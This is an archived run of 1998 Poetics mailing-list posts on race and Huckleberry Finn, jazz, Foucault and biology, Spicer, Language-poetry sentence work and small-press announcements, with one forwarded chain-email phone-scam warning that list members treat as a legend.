Aldon -- I don't know of any instance where I was taught or witnessed the teaching of ideologically anti-white literature/writings. in my own teaching experience (teaching comp & remedial english at Brooklyn college) I've encountered the kind of "awkwardness" Shana mentioned (or isolation was the word I think) in regards to James Baldwin's "Notes of a Native Son", tho' only mildly, &, on a different wavelength, have had Stein's article "A picture of occupied France" be described as "the kind of writing that makes people believe the Holocaust never happened".

Anselm Berrigan

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606. Aldon Nielsen
Re: Adorno & Jazz
Wed 21 Oct 1998

will hog more than one post to the list this morning (west coast) as I don't want to mix this response with other threads --

Jacques Attali's _Noise_ makes a number of really interesting points, but is marred by some weird errors --

identifies Carla Bley as a black musician -- refers to Beaver Harris by first name only, then compunds the confusion in the index by identifying him as "Paul Beaver" (we know it's Beaver Harris because it's in the context of his group The 360 Degree Experience) -- lines such as "free jazz, created with the Black Muslims . . . "[confirming my suspicion that prepositions are the biggest problem for any of us moving in a second language]

ordinarily I would guess some of these were problems of translation, but the translation was done by Brian Massumi, who is usually quite good --

read the book anyway, but be on guard!

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607. Pierre Joris
Re: Adorno & Jazz
Wed 21 Oct 1998

Aldon Nielsen wrote:

> *Jacques Attali's _Noise_ makes a number of really interesting points, but is marred by some weird errors --*
> *.....*
> *read the book anyway, but be on guard!*

yeah. good advice, aldon. Attali is known as something of a careless writer -- can't remember if it is this book or an earlier attali (maybe the one on time & time-pieces?) that created a major scandal in France because of rather obvious plagiarisms. pierre

--
==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]

fax: [redacted]
==========
All that is not gas is grammar
— Wittgenstein
==========

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608. **Aldon Nielsen**
Re: racism & antisemitism
Wed 21 Oct 1998

---

have particularly appreciated the new posts from Hilton and others -- some refreshingly clear thinking here this AM --

one of the problems with Huck in the classroom has been that few readers seem to be able to talk about a text that is simultaneously racist and antiracist -- I should have thought that anybody who'd read HEART OF DARKNESS would be able to have such a discussion, but it seems to send most Americans into hysterics --

If you've read widely in Twain, you already know that he was a man holding deeply contradictory ideas about race and nationality -- Hilton points us back to Pudd'nhead, and if you reread the final pages of that book you'll see much of the problem spread out before you --

a colleague at San Jose State a few years ago (David Mesher) gave me a great way to introduce some of these issues in class -- he had gone through several of the major anthologies that include Huck and copied out the footnotes that accompany the first appearance of the word "nigger" -- [quick example -- the seventh ed. of _The American Tradition in Literature_ gives the following: "In slave states, 'nigger' was not necessarily an abusive word, but merely the ordinary colloquial term for a slave." -- there are three or four class's worth of discussion there, beginning with that first phrase!] It was quite a revelation, and examining the rhetoric of those footnotes afforded a way of broaching the construction of race in that book without quite the level of hostility that often is to be expected --

And lest we forget, the first groups who wanted to banish Huck were "white" folks -- hardly "PC" --

I've no doubt that at any period the discussion of any work will center on issues that seem pressing contemporaneously -- but just WHEN in U.S. history would THIS not have been a pressing issue?

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609. **MAYHEW**
my jazz pantheon
Wed 21 Oct 1998

On the subject of jazz, I offer a small sampling of my private collection:

Lester Young and Coleman Hawkins. Art Tatum. Basie and Ellington. Jo Jones. Armstrong. Teddy Wilson. Billie Holiday. Ella and Sarah. (Sinatra and Tony Bennett.) Fats Waller. Lionel Hampton before he became a republican.

Parker, Gillespie. Monk, Miles, Mingus. Bud Powell. Sonny Rollins. Philly Joe Jones. Eric Dolphy. Coletrane. Ornette & Don Cherry. Charlie Haden. Paul Chambers. Elvin Jones. Cecil Taylor. Art Ensemble of Chicago. Braxton and Schepp (spelling?) Tito Puente. Danny Richmond. Ron Carter. Billy Higgins. Red Garland. Roy Haynes. Dewey Redman. Any drummer that can swing, especially Max Roach. Ray Charles. Mahalia Jackson. Milt Jackson... Blackwell...

I am partial to singers, piano-players, saxophonists, drummers, and bass players.

Jonathan

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610. **Dale Smith**
Re: there's a question at the end of this
Wed 21 Oct 1998

> *I have a feeling I'm not telling you, or anyone else on this list, anything you don't already know, but I think there's enough evidence in our own legal history as a country that racial divisions in America were/are, in part, ushered into the blood, if you believe racial divisions are in the blood, by the word of the law & specific lawmakers which is a different beast altogether from the body & the intellect. That's not to imply that blame ought to be conveniently assigned to laws & lawmakers, but any conversation about racial divisions might make use of how legal language has managed to further those divisions; one might thereby prevent such a conversation from reeling solely between the pillar & post of intellectual & emotional responses (& the further divisions created by that opposition).*

Anselm, I agree with you, and thanks for the reminder of how focused, direct and effective legal coucil has been to maintain racial divisions in this country (don't forget also about the Law and Real Estate's collusion in many places to maintain separation). Still, the question exists, how best to discuss race, or teach Huck Finn, etc. And, like you, I think that contradictory impulses of visceral and cerebral origins run through us as a people because of these Legal and theoretical manipulations. If someone wanted to explore the "legal

language" of racial division in this country the resulting study would be rich in details of the corruption caused by certain wealthy interests. And then, what of the results? What does our knowledge really do for us? I think that it's good for conversations about race to be very tense--stretched--because the alternative avoids the sticky realm of experience for theoretical possibilities, is slack, lazy or indifferent. I don't suggest addressing issues of race, or anything for that matter, through separate conditions of emotional or mental activities. Both aspects could be fused to enhance intellectual understanding with emotional realism through the speed of bodily perception. Part of the trouble is that our language can be so divisive. And, not that you would misunderstand me, but to clarify as much for myself as anyone, what I mean by "blood" is genetic, cosmological, asocial, astrological, atavistic, ancient pre-law, pre-US sort of stuff. Which is another conversation. What is so interesting to me about racial discussion is that a language like English that is normally so compartmentalizing and total has to be made compact enough to reflect the strange, fluid migrations of thought into the body, and vice versa, when subjects of race come up. So thanks for the thoughtful note and give me some ideas on narrowing the gaps between those pillars and posts.

Your Pal,

Dale

Get Your Private, Free Email at http://www.hotmail.com

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611. **MAYHEW**

Re: there's a question at the end of this

Wed 21 Oct 1998

Dale wrote:

"And, not that you would misunderstand me, but to clarify as much for myself as anyone, what I mean by "blood" is genetic, cosmological, asocial, astrological, atavistic, ancient pre-law, pre-US sort of stuff. Which is another conversation. What is so interesting to me about racial discussion is that a language like English that is normally so compartmentalizing and total has to be made compact enough to reflect the strange, fluid migrations of thought into the body, and vice versa, when subjects of race come up."

With clarifications like this, who needs confusion? I am totally in the dark about what any of this means. Is the genetic the astrological, for example? Is English inherently compartmentalized? Is compartmentalizing the opposite of compact?

Jonathan

↑ Index

612. Pritchett,Patrick
Re: Fwd: BE CAREFUL WHAT YOU DO ON THE PHONE (fwd)
Wed 21 Oct 1998

Oh my god - the prisoners are taking over the C3I system!

Thanks, David. I passed this along to a professor at CU, Michael Preston, who's teaching a course on Modern Legends next semester. This is a great addition to the collection.

Patrick Pritchett

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613. Christina Fairbank Chirot
Re: racism & antisemitism
Wed 21 Oct 1998

It seems light years ago that Leslie Fielder saw a gay text in Huck Finn--the desire to get away from women and get to the Indian territories --the West--(though Twain already knew himself what lay out there)--and "go native"--a strand for sure which as Fielder demonstrates runs through much of American Literature--"the Vanishing American"--the "gay camerados" so to speak--the anti women strain--the wilderness, away from laws and money (though Twain had written so much of money in Roughing It and other works--The Gilded Age, Life Along the Mississippi and so on--the buried treasure aspect of life that Huck and Tom dream about and play at--) away from religion--of course the best way to "become Indian" is to get rid of the Indians first--and make a Frontier Land theme Park where it's "safe" to play out the roles, mix up tribes and customs and languages and create the kind of Pan Indianism trhat threatens to be a New Age colonialism that is a kindler and gentler way of repeating the first brutal waves of colonisation-- of course Huck Finn is disturbing book in many ways--one reason why it's still read--have things really changed so much since its writing?--walking the streets it's hard to tell how much really has-- racism is an American obsession-- homophobia as advanced by the Christian Right and others is a form of racism that Protestant groups in coming to what is now Canada and the USA used to get rid of Indians--the Indians were ruled to have no souls--they were non-people--so it didn't count it you killed them--(except as "body count--it was for the Good, don't you see--and the same applies to gays now, who are painted as "unnatural" and perverted" in their "choice"--and so beyond the pale of God's laws and grace etc--(the religious/racist aspect also evident in the KKK wwwhich was originally

formed to kill Catholics--who were most often of various unwanted ethnic groups--)(my relatives all believed JFK was killed beacuse he was Catholic)--one of the dreams of Huck Finn is to come to a place that is AWAY from racism (and women and religion)--but that dream of freedom is expressed as becoming Indian--both by supplanting the Indian and imitating him--(shades of the Duke and the Dolphin and their mangled shams and charades--)--kind of a bizarre twist on Deleuze and Guattari's idea of "becoming Indian/Black?Woman etc"--) so even in "freedom" from racism, this is only achieved through a dispacment of racism--to a new sphere, a new identity--which always opens up the opportunites for colonization--(both literally and in the Deleuzian sense)-- an example of this that comes to mind is the Black Holocaust Museum founded by Mr. James Cameron here in Milwaukee. Mr. Cameron is the sole survivor of a mob lynching in Indiana decades ago--his Muesum is an expression of his and his people's experince of a continual Holocaust in the USA--however, many Jewish groups protested the Muesum, because the word Holocaust is only supposed to refer to "the" Holocaust in Europe--which is another form of dispalcing racism as it happened hitorically in the USA and continues today--to the sphere of Europe again, this seems a repitition of colonization--to territorize as D and G say, a word, (Holocaust)to claim an experience soley as one's own and deny it to others--or to deny the language for such experiences to others--returning, as is ever the American way, all issues to a quesion of PROPERTY--whether in language or land (and both are often the same when it comes to PROPERTY--through the device of Naming)-- and this dispacment helps to divert many of the questions which Huck Finn prompts, that American history does and to divert from history as it happoened here--which is helpful, for a nation without a history is easier to conform and control-- one of the points of Huck Finn may be that there is no escape from Property,Reilgion (or today "Ethics" and "Legality" and so on--) and Racism--at least as long as one is ever on the run from it, continually displacing it in time and space only to reencounter it even in the dreams of freedom when it is bought at the expense of others (in Huck's case--the Indians are the next frontier--and then on to Vietnam . . .) actually, racism in Huck Finn was taught when I was in high school--but then that was the Sixties, albeit in New Hampshire--we also talked abt the class/racial aspect as I recall because the teacher could look around the room and see plain as day which kids were going to Nam and which not--draft or no draft--would Huck have been sent to Nam? you knew Jim would be--not Tom for sure--and so on-- the effortsd to ban Huck seem to center around two things: Lanuage and Racism-- maybe this is to keep people from learning to make the connection of Language and Racism with property and from there to the question of "intellectual property"--and who owns Language---(Twain hints at this in a way, in pointing out that the book contains many different dialects--and often noting the class differences in language usage--one could

go into the exploitation language the Duke and the Dauphin use to exploit those who lack Royalty--not just of France but of the Imperial English Theater of the Bard --) the Duke and the Dalphin for example raise many questions regarding the "legitimacy" of claims not only to Imperial thrones and power, but to the Imperial power of language--deposed French aristocrats playing British roles (the British as deposed aristocrats of the America Revolution)--acting vs. impersonating in terms of claims to property and language and history--think of "black faced mistrels" or the Boston Tea Party with its painted "indians"--)
the arguments abt Huck Finn often seem to want to polarize the book in an either/or manner--that is, to narrow down, isolate and judge the book from a "perspective"--and perspective means of course the structure of the field of vision so that the spectaor is in "the driver's seat" so to speak-- rather than to try to open up the shifting uses of language, race, property, re;ligion, gender et all--and to think about these questions not just a fiction/fixing of the past, but as enduring fictions and attempts to fix the present-- "both and"-- and, to again adopt the vocabulary of Messers. Deleuze and Gauttaur (are THEY the Duke and Dolphin, these frenchmen?)-- "elusive to capture"

--dbchirot

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614. **Laura E. Wright**

Re: there's another question at the end of this

Wed 21 Oct 1998

MAYHEW wrote:

> *Dale wrote:*
>
> *"And, not that you would misunderstand me, but to clarify as much for myself as anyone, what I mean by "blood" is genetic, cosmological, asocial, astrological, atavistic, ancient pre-law, pre-US sort of stuff. Which is another conversation. What is so interesting to me about racial discussion is that a language like English that is normally so compartmentalizing and total has to be made compact enough to reflect the strange, fluid migrations of thought into the body, and vice versa, when subjects of race come up."*
>
> *With clarifications like this, who needs confusion? I am totally in the dark about what any of this means. Is the genetic the astrological, for example? Is English inherently compartmentalized? Is compartmentalizing the opposite of compact?*
>
> *Jonathan*

I'm another in-the-dark-er. This reminds me of something I never figured out. What do people mean by *genetic memory*? I always assumed they meant something asinine and Larmarckian, like that our experiences alter our genetic material. I take the word genetics very literally. Maybe I'm missing the point. Can anyone explain this genetic memory?

Laura P.S. To those who hate replied-to messages left in the body of the reply, my apologies, but otherwise I'd have to explain what I was responding to... context, context, context

--
Laura Wright, Library Assistant
Allen Ginsberg Library, The Naropa Institute
2130 Arapahoe Ave
Boulder, CO 80302
[redacted]
* * * * * *
"Then there was a situation with tufts (and flowers). This did not agree
with me either, and time just kept on passing."
(Henri Michaux)

<HTML>

<P>MAYHEW wrote:
<BLOCKQUOTE TYPE=CITE>Dale wrote:

<P>"And, not that you would misunderstand me, but to clarify as much for

myself as anyone, what I mean by "blood" is genetic, cosmological,

asocial, astrological, atavistic, ancient pre-law, pre-US sort of stuff.

Which is another conversation. What is so interesting to me about racial

discussion is that a language like English that is normally so
compartmentalizing and total has to be made compact enough to reflect
the strange, fluid migrations of thought into the body, and vice versa,
when subjects of race come up."

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dark about what any of this means. Is the genetic the astrological, for

example? Is English inherently compartmentalized? Is compartmentalizing
the opposite of compact?

<P>Jonathan</BLOCKQUOTE> I'm another in-the-dark-er. This reminds me of something I never figured out. What do people mean by *genetic memory*? I always assumed they meant something asinine and Larmarckian, like that our experiences alter our genetic material. I take the word genetics very literally. Maybe I'm missing the point. Can anyone explain this genetic memory?

<P>Laura
P.S. To those who hate replied-to messages left in the body of the reply, my apologies, but otherwise I'd have to explain what I was responding to... context, context, context

<P>--

Laura Wright, Library Assistant

Allen Ginsberg Library, The Naropa Institute

2130 Arapahoe Ave

Boulder, CO 80302

[redacted]

 * * * * * *

"Then there was a situation with tufts (and flowers). This did not agree

with me either, and time just kept on passing."

 (Henri Michaux)

 </HTML>

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615. Christina Fairbank Chirot
Fwd: BE CAREFUL WHAT YOU DO ON THE PHONE (fwd)
Wed 21 Oct 1998

(more language & prroperty)

FYI:

Subject: PLEASE READ THIS!!!!!
Please share.
BE CAREFUL WHAT YOU DO ON THE PHONE
PLEASE READ THIS!!!!!

Pass this along . . .
This is serious. Please read.

I received a telephone call from an individual identifying himself as an AT&T Service Technician who was conducting a test on our telephone lines. He stated that to complete the test we should touch nine (9),zero (0), the pound sign (#) and then hang up. Luckily, we were suspicious and refused. I contacted the telephone company we were informed that by pushing 90# you give the requesting individual full access to your telephone line, which allows them to place a long distance telephone calls billed to your home phone number. We were further informed that this scam has been originating from many of the local jails/prisons. Please beware. This sounds like an Urban Legend - IT IS NOT!!! I also called GTE Security this morning and verified that this is

definitely possible. DO NOT press 90# for ANYONE. The GTE Security department requested that I share this information with EVERYONE I KNOW!!! Could you PLEASE pass this on. If you have mailing lists and/or newsletters from organizations you are connected with, I encourage you to pass on this information. Also Family members!

_____ Start Your Own FREE Email List at http://www.listbot.com/

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616. **Aldon Nielsen**
the law of diminishing returns
Wed 21 Oct 1998

since it was a case in law that got me started on this set of questions this week, I should have thought to mention an essay that's particulalry good on these topics -- the talk of property in the recent posts reminded me (also reminded me how much property is an active issue throughout Huck) --

a good instigation may be had by all who read Cheryl Harris's essay "Whiteness as Property" -- among the several places you can find it is in the massive _Critical Race Theory_ anthology pub'd by The New Press -- It also appeared in the Harvard law Review, if yr closer to a law library --

and has more to do with poetics than one might expect -- (and she's married to a poet, as it happens) --

AND -- is anyone out there located at the University of Indiana -- I need somebody to look for something in special collections for me --

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617. **dbuuck**
announcing tripwire 2
Wed 21 Oct 1998

tripwire: a journal of poetics

announces its second issue:

Writing as Activism: The Aesthetics of Political Engagement

featuring work by:

Steve Farmer, Ben Friedlander, Rodrigo Toscano, Brenda Iijima, Brian Kim Stefans, Noah de Lissovoy, Kristin Prevallet, Jack Hirschman, Sarah Anne Cox & Elizabeth Treadwell, Rod Smith, Rob Fitterman, Dodie Bellamy, Patrick F. Durgin, William T. Ayton;

plus excerpts from Danielle Collobert's Notebooks 1956-78, translated by Norma Cole, with an afterword by Uccio Esposito-Torrigiani;

an interview (with collages) with Atlanta xerox artist Lawless Crow, conducted by John Lawther & Randy Prunty;

and reviews by Kathy Lou Schultz (on Margy Sloan's Moving Borders), Pamela Lu (Jocelyn Saidenberg's Mortal City), Louis Cabri (Rodrigo Toscano's The Disparities), Juliana Spahr (Dodie Bellamy's Letters of Mina Harker), Anselm Berrigan (Peter Gizzi's Artificial Heart), Lytle Shaw (on the art of Mark Shepard), & Chris Chen (on Celan).

perfect-bound, 183 pages.

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tripwire
c/o Yedda Morrison & David Buuck
PO Box 420936
SF CA 94142-0936

also available (very shortly) from Small Press Distribution. a few remaining copies of issue #1 also still available from SPD.

The theme for issue #3 is Gender (see issue 2 for more details). tripwire accepts essays, reviews, interviews, translations, letters, and visual art (reproducible in black & white). At this time we are not accepting unsolicited poetry. Deadline for #3 is March 1, 1999.

note to contributors & subscribers: your copies are on their way...

inquiries, etc. to above address &/or to [redacted]

best,

Yedda Morrison & David Buuck

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618. **Robert Corbett**
Re: there's a question at the end of this
Wed 21 Oct 1998

---

pardon my toeing a strict post-structuralist line (not one that I entirely believe in, anyway), but in _Discipline and Punish_ (by now the classic formulation of this proposition, though Judith Butler has put her own spin on the issues more recently), Foucault claims that discourse inscribes itself upon the body (think Kafka's "Penal Colony") to such a degree that claiming there is atavistic, before culture element of our thinking is not possible. there is no there there. for instance, in the atrocities in the Balkans, it is not nationalism which has somehow

inscribed itself on Serbian soul in the 14th century, but rather the intervention of Milosevic and others in reanimating (really rearticulating) a cultural discourse about Serb victimization that caused the conflict. There is monolithic, naturally anti-Croat/Bosnian part of the Serb soul, but war criminal politicians and their lackeys who generated a conflict in perhaps one of the most mixed of all European societies. And it was in a rather more concrete manner than discourse, as nationalists controlled the media (makes you wonder about NPR--is it an opiate or palliative for intellectuals?). That said, I myself tend towards thinking there is a substrate, not reducible to discourse, that is accessed by rabid nationalists and xenophobes, only it does not come predetermined. If the racism is "embodied," we have to realize that it is because it has been tattooed onto the amerrican body through law, economics, and culture. Otherwise, to say there is a tendency to be racist that is "in the blood" sounds like bad sociobiology.

Robert

On Wed, 21 Oct 1998, MAYHEW wrote:

> *Dale wrote:*
>
> *"And, not that you would misunderstand me, but to clarify as much for myself as anyone, what I mean by "blood" is genetic, cosmological, asocial, astrological, atavistic, ancient pre-law, pre-US sort of stuff. Which is another conversation. What is so interesting to me about racial discussion is that a language like English that is normally so compartmentalizing and total has to be made compact enough to reflect the strange, fluid migrations of thought into the body, and vice versa, when subjects of race come up."*
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> *With clarifications like this, who needs confusion? I am totally in the dark about what any of this means. Is the genetic the astrological, for example? Is English inherently compartmentalized? Is compartmentalizing the opposite of compact?*
>
> *Jonathan*

Robert Corbett "you are there beyond/ tracings flesh can [redacted] take,/ and farther away surrounding and University of Washington informing the systems" - A.R. Ammons

↑ Index

619. **Peter Balestrieri**
Quote Source
Wed 21 Oct 1998

Hi all,
I'm thinking that I recently read a quote on the List that went something like, "He never let facts get in the way of telling a good story," something to do with journalism. Does this sound familiar to anyone? Please backchannel me.
Thanks,
Pete B.

↑ Index

620. **Joe Amato/Kass Fleisher**
Re: racism & antisemitism
Wed 21 Oct 1998

---

just to say, stunning post from dave chirot on language, property, class, race, twain and d & g!...

and i think of how victor jory's "injun joe" in _the adventures of tom sawyer_ (1938) was generally reckoned as one of the meanest cinematic villains...

///

joe

↑ Index

621. **Tom Beard**
Re: there's a question at the end of this
Wed 21 Oct 1998

> ... Foucault claims that discourse inscribes
> itself upon the body (think Kafka's "Penal Colony") to such a degree that
> claiming there is atavistic, before culture element of our thinking is
not
> possible. there is no there there.

It's precisely this out-of-hand dismissal of the non-cultural that puts me off Foucault et al. Sure, we are cultural beings, but we are also mammals; we are also lumps of meat.

> *Otherwise, to say there is a tendency to be racist that is "in the blood" sounds like bad sociobiology.*

I'm sure that hard-line post-structuralists would consider "bad sociobiology" to be a tautology. And sociobiological use of terms such as "tendency" and

"predisposition", while avoiding the determinism of "drive", "instinct" and so forth, are perhaps worse because of their vagueness. But, here goes...

I don't think that we have a genetic tendency towards racism, as such. But I do think we have innate tendencies to recognise differences and similarities, and that we may have an inbuilt distrust of anything strange/different/other. Which would make it easy for cultural factors (especially when combined with territoriality) to mold/channel/twist this distrust into hatred.

It's never this simple, of course, and when genetic impulses feed their energy into the complex dynamic systems of human psychology and culture, the end result may be fear or desire instead (or as well as) hatred. Attempts to find biological influences upon human behaviour are often dismissed as being inherently racist/sexist or whatever, as they are seen to be merely justifications of the status quo: "but it's natural for women and men to be different blah blah". But I think that it's important to know all the possible sources for our actions: if we see destructive behaviour and want to change it, we need to be aware of how difficult it might be.

Cheers,
Tom Beard.

↑ Index

622. **Gabriel Gudding**
Spicer Query
Wed 21 Oct 1998

---

1). Please someone hep me. Hep.

2). I need to know the locus platypus of the Spicer line that goes something like "Oh you who have fallen down on your head...."

3). Have neither the time nor the Advil to skim _The Collected Books of..._: would anyone happen to know if not the poem's title, then at least the precise book in which this line hides. Who knows this off?

4). This platypus is very important to me.

Thanks, GG

↑ Index

623. **J. Kuszai**
Re: New York 1966
Wed 21 Oct 1998

Rachel, re: your last comment:
> (but perhaps backchannel so we don't bore the youngsters),

Don't you dare!

↑ Index

624. Sean Casey
Bill Knott & Robert Peters
Wed 21 Oct 1998

Couple Q's

-- Anyone here know much about Bill Knott (in any of his
incarnations)? If so, love to here from you, backchannel.
I'm trying to write a piece on him and information is, yes,
scarce. His complete bio on his select poems volume is:
"Bill Knott lives in Cambridge, Massachusetts."

-- Also, if anyone has an address for Robert Peters, snail mail or e-mail, please backchannel.

Thanks
Sean Casey

↑ Index

625. eurydice
Big Allis 8 Redux
Wed 21 Oct 1998

Dear List,

Just a (hopefully) gentle reminder (or encouragement) that there are only ten more days left to take advantage of this most fabulous special and so on offer (previously posted but copied below for your convenience). By the "your order" (to be received before All Saint's Day), I mean simply a small e-mail saying "boo," saying "yes," saying "sure--send me one." Much thanks in advance (and apologies for the repetition).

All Best,
Deirdre

<<Dear List,

At very long last, Big Allis 8 is here, and--in celebration--the following special offer is extended to the Poetics List (and its surroundings and acquaintances):

If your order is received by midnight on October 31 (best Halloween wishes from Editor Melanie Neilson), I will send you a copy of Big Allis 8 for only $6 (payable to Deirdre Kovac), domestic postage included (the "newstand" price is $8).

Big Allis 8 is a hefty 112 pages with a special selection of work by British and Irish writers (guest edited by Fiona Templeton)--Caroline Bergvall, Karlien van den Beukel, Andrea Brady, Miles Champion, Ken Edwards, David Kinloch, Sarah Law, Tertia Longmire, Helen Macdonald, Rob McKenzie, Drew Milne, Catherine Walsh, John Wilkinson, and Aaron Williamson--as well as work by Bruce Andrews, Graham Foust, Bob Harrison, Noah de Lissovoy, Alison Lune, Heather Ramsdell, Lisa Robertson and Christine Stewart, Juliana Spahr, Stephanie Strickland, H. T., Rodrigo Toscano, and Liz Waldner. And perfect bound. And with a stunning cover (designed by Jean Foos).

IMPORTANT NOTE: Nothing regarding this offers should be sent to the Poetics List.

All orders, queries, comments, et cetera should be sent directly to me at [redacted] (please include full name, mailing address, and e-mail address).

Or you can contact me via post at:

Deirdre Kovac
20 Douglass Street, #3
Brooklyn, NY 11231

Best,
Deirdre Kovac
(Associate Editor, Big Allis)
[redacted]

↑ Index

626. Rachel Loden
New York 1966
Wed 21 Oct 1998

Standard Schaefer's questions about NY in the sixties embolden me to try to reconstruct some musty memories of my runaway teen years on the Lower East Side. I remember seeing John Ashbery read at a theater with fixed seats (and being somewhat astonished at how sedate, or even dull, this reading was, given THE TENNIS COURT OATH which was and remains my favorite Ashbery book). And then I recall seeing Andy Warhol's Exploding Plastic Inevitable mixed-media show (with the Velvet Underground) and I *seem* to recall (but is this possible?) that this event followed the Ashbery reading, in the same space. Does anyone remember?

Am also trying to make sense of jumbled memories of a club called the Dom, on St. Marks Place. Warhol ran it or had something to do with it --and yes the Velvets played there too, but it did not have fixed seats (unless I am severely mentally impaired) and so cannot be the venue for the possibly Ashbery-related

show above. But I also recall this space as the Balloon Farm, and in that incarnation it had a distinct Warhol connection as well. Does anyone remember this club, which later went on to have a non-Warholian existence as the Electric Circus? Am I insane to be recalling it as the Dom at one point and the Balloon Farm at another?

Calling on the group mind

(but perhaps backchannel so we don't bore the youngsters),

Rachel Loden

↑ Index

627. Todd Baron /*/ ReMap
Re: SD
Wed 21 Oct 1998

Todd Baron
Guy Bennet
Joel Kuszai

are reading at

THE FAULTLINE THEATER
(a series curated by Stephen Cope and Joe Ross)
SERIES

4pm
sunday

↑ Index

628. Todd Baron /*/ ReMap
Re: sandy ego reading
Wed 21 Oct 1998

O
h

↑ Index

629. Lawrence Upton.
Jim Leftwich
Thu 22 Oct 1998

I am trying to get in touch with Jim Leftwich, but the email address I found on EPC bounced

Can anyone give me an up-to-date address?

L ---------- Lawrence Upton's website: http://members.spree.com/sip/lizard/

↑ Index

630. **Lawrence Upton.**
Anselm Hollo publication
Thu 22 Oct 1998

I announce on behalf of Writers Forum, which doesn't have an email, the publication of Anselm Hollo's "AHOE 2"

It was launched at Anselm's Sub Voicive Poetry reading in London on Tuesday evening last

Hollo, Anselm; AHOE 2(Johnny Cash writes a letter to Santa Claus); 0 86162 831 4; Writers Forum, October 1998; £3.00 plus £1.00

Orders / payments to New River Project, 89a Petherton Road, London N5 8QT NB Sterling payments only

---------- Lawrence Upton's website: http://members.spree.com/sip/lizard/

↑ Index

631. **MAYHEW**
Re: Spicer Query
Thu 22 Oct 1998

Hi Gabe:

It is from After Lorca. It is one of the false translations, in other words, doesn't correspond to an existent Lorca poem. Title is the Ballad of the Dead Woodcutter. This line occurs as a sort of absurd refrain:

Oh, you have fallen down on your head.
You have fallen on your head.

On Wed, 21 Oct 1998, Gabriel Gudding wrote:

> *1). Please someone hep me. Hep.*
>
> *2). I need to know the locus platypus of the Spicer line that goes something like "Oh you who have fallen down on your head...."*
>
> *3). Have neither the time nor the Advil to skim _The Collected Books of..._:*

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

632. **MAYHEW**
Re: coupla q's
Thu 22 Oct 1998

On number 2, my theory is that the present day importance of revision comes originates from Flaubert's heroic struggle with style. See Barthes' Zero Degree of Writing. If it did not originate there this is at least its locus classicus. But of course there is the image of Horace polishing his Odes also. Henry James might also be mentioned.

On number 1, Silliman's The New Sentence (correct title?) would be the obvious point of departure. Does this come from Stein's focus on the sentence? Perhaps a reaction to the preoccupation with the line as breath unit among the Olsonites? Good question.

On Thu, 22 Oct 1998, Maria Damon wrote:

> *1) i know this is elementary and basic and i should already know it, but just why was the *sentence* the primary unit of interest for many of the SF langpos?*
>
> *2) does anyone have any insights into the history of the concept of revision? you hear it so insistently as a basic principle of "creative writing" that it seems natural and normative. but *when* and *how* did this principle evolve to occupy a place of such prominence in what's called the "writing process"?*

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

633. **Burt Kimmelman**
Re: New York 1966
Thu 22 Oct 1998

Rachel,

From one old fogey to another: Yes I remember the Dom and the Electric Circus but not the Balloon Farm.

My favorite little memory from that year (1966): Having been totally blown away by Diane DiPrima's chapbook THIS KIND OF BIRD FLIES BACKWARDS, I attended a reading by her at St. Mark's, a bare room with some folding chairs and a plain square table in front of them. And there she was, in flesh--this petite redhead, hair loose here and there, in jeans I think, and she read and it was great, and (there was to be a second reader but I can't recall who) when she finished she immediately explained that she had to leave right away because she had four kids at home looking after themselves, the oldest eleven yeas old (was that Tara?). The reading was a graceful and exciting (almost) as that wonderful book, some of which--while my memory of those days has much faded and probably become distorted--I still have by heart.

Burt

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634. **Maria Damon**
coupla q's
Thu 22 Oct 1998

---

1) i know this is elementary and basic and i should already know it, but just why was the *sentence* the primary unit of interest for many of the SF langpos?

2) does anyone have any insights into the history of the concept of revision? you hear it so insistently as a basic principle of "creative writing" that it seems natural and normative. but *when* and *how* did this principle evolve to occupy a place of such prominence in what's called the "writing process"?

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635. **Pritchett,Patrick**
Re: coupla q's
Thu 22 Oct 1998

Don't have Ron's essay in front of me, but he states that the inspiration and/or exemplar for the New Sentence comes from WCW's _Kora in Hell_. But also, yes, from Stein.

Patrick Pritchett

From: MAYHEW
To: [redacted]
Subject: Re: coupla q's
Date: Thursday, October 22, 1998 9:20AM

On number 1, Silliman's The New Sentence (correct title?) would be the obvious point of departure. Does this come from Stein's focus on the sentence? Perhaps a reaction to the preoccupation with the line as breath unit among the Olsonites? Good question.

On Thu, 22 Oct 1998, Maria Damon wrote:

> 1) i know this is elementary and basic and i should already know it, but
> just why was the *sentence* the primary unit of interest for many of the SF
> langpos?
>

↑ Index

636. **KENT JOHNSON**
Spicer's Lorca
Thu 22 Oct 1998

Dear Jonathan:

I noticed your response to Gabriel Gudding on the Spicer line. Do you in fact know of anyone who has done a poem by poem study of _After Lorca_ to figure out where the "translations" are translations and where they are not? Or in those poems that are "minotaurs," which parts are which? I seem to recall seeing something about Robin Blaser having at least gone into this, but I'm not sure. Have you, by some chance, done this yourself? I've been working on and off on an essay on JS's _After Lorca_ and would be very interested if you or anyone would know something about this.

Kent

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637. **david bromige**
the new sentence
Thu 22 Oct 1998

Ron Silliman's invaluable book's title notwithstanding, I think it was more a matter of what went on between sentences. Of course it couldnt be done

without sentences. But I dont remember that much happened with/to the structure of the sentences. It was how they were laid up against each other that lit up our lives. We had the principle of discontinuity from any number of sources, and the challenge then became to have something said by confronting readers with the decision as to whether sentence 2 follows sentence 1 in anything more than space. It was as much a matter of "The New Paragraph," and let's recall Stein's "a sentence is not emotional a paragraph is."

The proposition--Jonathan's, I think--that the excellent work on the line by the generation immediately previous, would not be rewarding to improve upon, and that, therefore, what could be done with sentences, became attractive, has merit. I would direct interested parties to Bob Grenier's work at that time, poems often of a single line, thus sentence as much as line.Then came his box of cards called "Sentencing" (I think, but cant lay my hands on it right now; perhaps it was "Sentences"?). A look at the early issues of _This_ (eds, Grenier and Watten) discloses "sentence-work" by a number of us. I would suggest this in part stemmed from Minimalism--once you have the proposition of single-line poems, the path to that particular sub-genre of prose poetry, opens up. Be good to hear Ron on this (I may here be repeating what he has said more eloquently in his book), but I know he is readying himself for his California tour. David

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638. **dbkk**
Alice Notley in SF TONIGHT!
Thu 22 Oct 1998

Small Press Traffic presents

Alice Notley
Thursday, October 22, 7:30 p.m.
New College Theater
777 Valencia Street, San Francisco
$5

